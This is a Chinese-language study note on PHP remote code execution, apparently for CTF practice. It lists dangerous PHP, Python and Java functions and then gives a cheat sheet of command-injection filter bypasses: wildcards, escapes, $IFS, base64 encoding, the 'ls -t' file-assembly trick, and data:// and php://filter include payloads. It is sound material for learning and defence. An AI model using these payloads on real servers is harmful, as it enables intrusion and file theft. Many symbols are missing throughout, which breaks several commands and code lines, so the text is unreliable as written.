网安学习第23天 PHP安全——RCE漏洞
一、RCERCE 漏洞全称是 Remote Code Execution远程代码执行漏洞。简单说攻击者不需要登录到服务器本地只要通过网络请求就能让目标服务器执行他指定的代码或命令。类型含义命令执行执行系统命令比如whoami、dir、ls代码执行执行某种编程语言代码比如 PHP、Python、Java 代码RCE远程触发的代码/命令执行范围更大RCE 既包含命令执行也可以包含代码执行。1、RCE是什么假设服务器上有一段后端代码本来只是想接收用户输入比如$name $_GET[name]; echo Hello . $name;这本身只是输出内容不一定有 RCE。但如果程序把用户输入直接交给系统命令执行比如$cmd $_GET[cmd]; system($cmd);那么如果访问http://example.com/test.php?cmdwhoami服务器就会执行whoami这就是典型的命令执行风险。2、常见的漏洞函数PHP:PHP代码执行函数 eval()、 assert()、 preg_replace()、 create_function()、 array_map()、 call_user_func()、 call_user_func_array()、 array_filter()、 uasort()等 PHP命令执行函数 system()、 exec()、 shell_exec()、 pcntl_exec()、 popen()、 proc_popen()、 passthru()等Python:eval exec subprocess os.system commandsJAVA:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数但是有反射机制并且有各种基于反射机制的表达式引擎如: OGNL、SpEL、MVEL等.二、RCE——利用绕过异或回显1、关键字过滤进行绕过1过滤flag关键字通配符flagfl* cat fl* cat ?la*转义符号ca\t /fl\ag cat flag使用空变量$*和$$x,${x}绕过ca$*t fl$*ag ca$t fl$ag ca$5t f$5lag ca${2}t f${2}lag拼接法afl;bag; cat$IFS$a$b反引号绕过:cat ls编码绕过:echo flag | base64 cat echo ZmxhZwo | base64 -d组合绝活6、组合绝活 touch ag touch fl\\ touch t \\ touch ca\\ ls -t shell sh shell # \指的是换行 # ls -t是将文本按时间排序输出 # ls -t shell 将输出输入到shell文件中 # sh将文本中的文字读取出来执行异或无符号过滤0-9a-zA-Z进行绕过2过滤函数关键字内敛执行绕过systemecho ls; echo $(ls); ??ls; ??$(ls);3过滤执行命令如cat tac等more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl显示的时候顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器这个也可以查看 vim:一种编辑器这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 sh /flag 2%261 //报错出文件内容 curl file:///root/f/flag strings flag uniq -c flag bash -v flag rev flag4过滤空格%09url传递(cat%09flag.php) cat${IFS}flag afl;bag;cat$IFS$a$b {cat,flag}2、无回显该怎么判断直接写个文件访问查看直接进行对外访问接受3、 黑白盒白盒通配符 system(tac fla*.php); 取代函数通配符管道符 cp fla*.ph* 2.txt; echo shell_exec(tac fla*.ph*); 参数逃逸 eval($_GET[1]);1system(tac flag.php); 配合包含伪协议 include$_GET[a]?adata://text/plain,?system(tac flag.php);? include$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php 包含RCE伪协议通配符 data://text/plain,?php system(tac fla*);? php://input post:?php system(tac flag.php);?黑盒代码在线运行平台测试